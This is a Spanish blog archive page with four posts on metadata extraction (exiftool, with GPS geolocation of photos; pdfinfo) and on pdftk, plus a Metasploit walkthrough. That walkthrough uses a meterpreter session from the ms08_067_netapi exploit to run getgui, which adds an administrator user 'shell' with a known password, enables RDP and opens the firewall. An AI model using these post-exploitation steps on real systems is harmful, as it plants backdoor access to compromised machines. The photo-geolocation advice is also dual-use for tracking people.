Mostrando entradas con la etiqueta metadatos. Mostrar todas las entradas
Mostrando entradas con la etiqueta metadatos. Mostrar todas las entradas

exiftool, extract image metadata

Hace tiempo que tenía pendiente de terminar de escribir este post sobre metadatos. Si necesitas saber algo de alguien, actualmente los metadatos de los archivos a los que tengas acceso te pueden ayudar. Ya hace tiempo escribí un pequeño post sobre cómo obtener los metadatos de ficheros pdf de forma muy simple (a golpe de comando). Hoy vamos a ver cómo hacer lo mismo con una imagen y cómo aprovechar y extraer todo el jugo que esta valiosa información nos ofrece.
Lo primero de todo es instalar la herramienta que vamos a emplear. En nuestro caso será exiftool. En sistemas de base Debian la podéis encontrar disponible en los repositorios.
shell> apt-get install libimage-exiftool-perl
Una vez instalada ya sólo queda usarla. El único requisito, tener acceso a la imagen que os interese analizar. En mi caso me bajé una imagen de internet de la que se puede observar lo siguiente,
shell> exiftool imagen_4.jpg
ExifTool Version Number         : 8.15
File Name                       : imagen_4.jpg
Directory                       : .
File Size                       : 34 kB
File Modification Date/Time     : 2012:12:14 16:08:19+01:00
File Permissions                : rw-r--r--
File Type                       : JPEG
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : *
Profile CMM Type                : lcms
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2012:01:25 03:41:57
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : 
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : lcms
Profile ID                      : 0
Profile Description             : c2
Profile Copyright               : FB
Media White Point               : 0.9642 1 0.82491
Media Black Point               : 0.01205 0.0125 0.01031
Red Matrix Column               : 0.43607 0.22249 0.01392
Green Matrix Column             : 0.38515 0.71687 0.09708
Blue Matrix Column              : 0.14307 0.06061 0.7141
Image Width                     : 600
Image Height                    : 450
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 600x450

Aquí podemos ver información de la imagen y una de las cosas que más destaca es fue realizada con un equipo de Apple. Viendo la foto, se supone que con un iPhone. Otra de las cosas que llama la atención es la fecha y la hora en la que se tomó la foto, que también están perfectamente registradas. Sin embargo no se observa ningún dato más interesante. En este otro ejemplo tenemos lo siguiente:

shell> exiftool -a imagen_5.jpg
...
Exif Byte Order                 : Little-endian (Intel, II)
Make                            : google
Camera Model Name               : Nexus S
Orientation                     : Rotate 90 CW
Software                        : JZO54K
...
Flash                           : No Flash
...
Image Size                      : 2560x1920
...
Aquí ya tenemos más información, como el dispositivo exacto con el que se sacó. En este caso mi Nexus S dejando huella. Sin embargo aquí todavía no hay datos 100% intenresantes, como puede ser la localización de la fotografía. Así que vamos a alguna red social y veamos lo que se puede obtener de ahí,
shell> exiftool -c "%d %d %.8f" imagen_9.jpg
...
GPS Version ID                  : 2.2.0.0
GPS Latitude                    : 48 25 11.90280000
GPS Longitude Ref               : East
GPS Longitude                   : 7 25 22.11240000 E
Image Size                      : 269x188
GPS Position                    : 48 25 11.90280000, 7 25 22.11240000 E
Para facilitar el trabajo, yo le doy un formato de salida a la posición (opción -c "%d %d %.8F") que ya GoogleMaps entenderá. Esta fotografía sí tiene datos de interés, como es su localización exacta. Si el valor del campo GPS Position lo buscamos directamente en GoogleMaps, veremos la zona en la que se sacó la foto. Ahora que ya sabéis lo que se puede obtener de una foto, es vuestra decisión compartir la posición o no.
Por cierto, si no os interesa descargar las imágenes sino que el proceso sea más continuo, se puede enlazar exiftool con wget, para que después de descarga la imagen automáticamente la escanee.
shell> wget -qO - http://www.../imagen_1.jpg | exiftool -fast -
Leer más

metasploit, conexión a escritorio remoto

Hay una cosa que está clara, si Windows ha triunfado es por su escritorio y por la 'facilidad' de manejo que éste ofrece. Casi cualquier cosa la puedes hacer de forma simple con el ratón y viéndolo, mientras que el uso de windows desde línea de comandos es más bien complejo. Permite hacer una gran cantidad de cosas, pero más complejas. Para solucionarlo, Windows permite compartir el escritorio con otros equipos y así facilitar la vida a los administradores (y también, por ende a los atacantes). Hoy vamos a ver una forma muy simple de crear un nuevo usuario y activar para él el acceso a escritorio remoto una vez que tenemos una sesión de meterpreter.
msf exploit(ms08_067_netapi)> sessions -l

Active sessions
===============

Id  Type         Information   Connection
--  ----         -----------   ----------
 1  meterpreter  NT AUTHORITY  192.168.1.33:4444 -> 192.168.1.50:1125
Pues bien, accedemos a la sesión de meterpreter y empleamos comando/exploit getgui que como su nombre apunta, 'da un acceso gráfico'.
msf exploit(ms08_067_netapi)> sessions -i 1
[*] Starting interaction with 1...

meterpreter> run getgui
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u username -p password
Or:    getgui -e

OPTIONS:

  -e       Enable RDP only.
  -f opt   Forward RDP Connection.
  -h       Help menu.
  -p opt   The Password of the user to add.
  -u opt   The Username of the user to add.
Es necesario pasarle los parámetros adecuados, es decir, el nombre y la contraseña del nuevo usuario que vamos a crear con acceso remoto.
meterpreter> run getgui -u shell -p p0wned
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator 
[*] Carlos Perez carlos_perez@darkoperator.com 
[*] Enabling Remote Desktop 
[*]  RDP is disabled; enabling it ... 
[*] Setting Terminal Services service startup mode 
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary 
[*] Setting user account for logon 
[*]  Adding User: shell with Password: p0wned 
[*]  Adding User: shell to local group Remote Desktop Users 
[*]  Adding User: shell to local group Administrators 
[*] You can now login with the created user 
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
En caso de que hayamos empleado algún otro método para saber la contraseña de los usuarios ya creados, también podemos emplear este exploit para habilitar el acceso de escritorio remoto y así poder acceder al equipo.
meterpreter> run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]  RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
Leer más

Uso de pdftk

En muchas ocasiones necesitamos hacer determinadas tareas con archivos PDF que nos obligan a recurrir a herramientas caras y concretas que lo permitan hacer, sin tener en cuenta, que el software libre ha dado pdftk.
pdftk es una potente herramienta que nos permite hacer prácticamente de todo en las páginas de un fichero pdf de forma muy sencilla y todo perfectamente scriptable. Su potencia es tal, que permite añadir nuevas páginas a un documento, rotar 90º una página concreta, añadir una marca de agua, etc. A continuación vamos a ver algunos de los ejemplos del potencial de pdftk.
  • Añadir páginas a un pdf
    Uno de los usos más comunes que se le suele dar a pdftk es el de añadir alguna página a un fichero. El caso más típico para el que yo, personalmente, lo suelo usar es para añadir una portada a un documento. Si tenemos el documento completo ya listo, y queremos añadirle una portada, simplemente,
    shell> pdftk portada.pdf libro.pdf cat output memoria.pdf
    
    o
    shell> pdftk A=portada.pdf B=libro.pdf cat A1 B2-end output memoria.pdf
  • Extraer páginas impares de un pdf
    pdftk también permite realizar extracción de páginas. Esto resulta muy útil en caso de que por ejemplo no tengamos una impresora que permita imprimir a doble cara. Para solucionarlo, extraemos del fichero todas las hojas impares, por ejemplo, y se mandan a la impresora
    shell> pdftk memoria.pdf cat 1-endodd output impares.pdf
    
  • Extraer páginas pares de un pdf
    Luego realizamos el mismo proceso con las hojas pares y listo...
    shell> pdftk memoria.pdf cat 1-endeven output pares.pdf
    
  • Rotar páginas de un pdf
    Con pdftk también es posible realizar una rotación de páginas, ya bien sea de una página en concreto o de un rango. Los tipos de rotación que existen son lo que se muestran a continuación,
    • N: 0º (no realiza ningún cambio)
    • E: 90º
    • S: 180º
    • W: 270º
    shell> pdftk memoria.pdf cat 1-endW output memoria_w.pdf
    En el ejemplo puesto, se rotan todas las páginas (rango 1-end) 270º, guardando el resultado en el fichero memoria_w.pdf.
  • Invertir el orden de las páginas de un pdf
    Este es un pequeño truco que sirve para cambiar el orden de las páginas e invertir todo el documento, por si es necesario. Únicamente hay que indicar específicamente un orden inverso del fichero, en vez del rango 1-end, poner el rango end-1.
    shell> pdftk memoria.pdf cat end-1 output memoria_inversa.pdf
  • Desglosar un pdf en páginas
    Si necesitamos por cualquier motivo sacar todas las páginas de un archivo en ficheros diferentes, aquí el truco de cómo hacerlo.
    shell> pdftk memoria.pdf burst memoria_%02d.pdf
  • Añadir una marca de agua a un pdf
    Muchas veces nos interesa poner una marca de agua a un archivo que acabamos de realizar y no hay mejor forma que usando pdftk para hacerlo. La forma de conseguirlo, nuevamente muy sencilla.
    shell> pdftk memoria.pdf background marca.pdf output memoria_H2O.pdf
    Hay que destacar que así se añade como marca el contenido de la primera página del fichero marca.pdf. Si deseamos tener una marca de agua diferente por cada una de las páginas, en vez de usar la opción background, podemos emplear la opción multibackground, que hará una coincidencia de marca de agua por número de página. Página 1, con página 1, la 2 con la 2 y así sucesivamente.
  • Añadir una imagen al frente de un pdf
    Si en vez de una marca de agua, lo que nos interesa en tener estampada una imagen en el documento, lo podemos lograr tal que así,
    shell> pdftk memoria.pdf stamp img.pdf output memoria_img.pdf
    Y al igual que sucede con las marcas de agua, podemos emplear multistamp en vez de stamp.
  • Extraer metadatos de un pdf
    Aunque ya vimos cómo poder obtener los metadatos de un archivo pdf en otro post, con pdftk también lo podemos lograr.
    shell> pdftk Introduction_to_Cryptography.pdf dump_data
      InfoKey: Title
      InfoValue: Introduction to Cryptography with Coding Theory
      InfoKey: Producer
      InfoValue: ABBYY FineReader 11
      InfoKey: Author
      InfoValue: Wade Trappe, Lawrence C. Washington
      NumberOfPages: 591
    
  • Reparar un pdf dañado
    pdftk cuando recorre un archivo realmente está interpretando todos sus datos y tiene que reconstruir sus tablas y flujos, por lo que si hay un fallo en alguna de las partes de un pdf y éste se puede recuperar, gracias a esta utilidad, se podría conseguir.
    shell> pdftk memoria-fail.pdf output memoria-ok.pdf
    Aunque... obviamente no hace milagros...
Leer más

Extraer metadatos de PDF's en GNU/Linux

La gente de Informática64, con Chema Alonso a la cabeza creó hace tiempo una herramienta muy útil, foca, que entre otras muchas cosas permite extraer los metadatos de ficheros, entre ellos ficheros pdf. El problema que presenta esta herramienta es que sólo es compatible con entornos Windows, y por lo tanto para obtener los metadatos de ficheros en GNU/Linux, la cosa se complica.
Los metadatos son aquellos datos que describen a otros datos. En un fichero pdf, por ejemplo, un metadato es aquella información extra que describe al fichero, como por ejemplo, el autor, la fecha, el programa de creación, la dirección de correo, el número de páginas, etc.
Desde GNU/Linux, podemos obtener también dicha información de forma muy sencilla con el comando pdfinfo.
shell> pdfinfo guia_seguridad_pymes.pdf 
Title:        Microsoft Word - Guia Seguridad Final v definitiva.doc
Author:       eustasio.viviente
Creator:      PScript5.dll Version 5.2
Producer:     GPL Ghostscript 8.15
CreationDate: Mon May 29 10:54:47 2006
ModDate:      Mon May 29 10:54:47 2006
Tagged:       no
Pages:        84
Encrypted:    no
Page size:    595.22 x 842 pts (A4)
File size:    2249639 bytes
Optimized:    no
PDF version:  1.3
Como se puede observar, los metadatos de este fichero nos dan información del autor, del título e incluso del programa que se usó para crear el fichero. Como vemos, una información bastante interesante.
Aquí otro ejemplo, éste con menos metadatos,
shell> pdfinfo Proyecto\ Fin\ de\ Posgrado.pdf
Title:        
Subject:      
Keywords:     
Author:       
Creator:      PDFCreator Version 0.9.8
Producer:     GPL Ghostscript 8.64
CreationDate: 
ModDate:      
Tagged:       no
Pages:        22
Encrypted:    no
Page size:    595 x 842 pts (A4)
File size:    126687 bytes
Optimized:    no
PDF version:  1.4

Con esta información, hacer un pequeño programita que lance una búsqueda de ficheros PDF para una organización y extraiga sus metadatos no es algo demasiado complicado y es fácilmente scriptable. En breves intentaré hacer una pequeña prueba de concepto que haga lo descrito de forma sencilla, empleando búsquedas avanzadas en Google.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios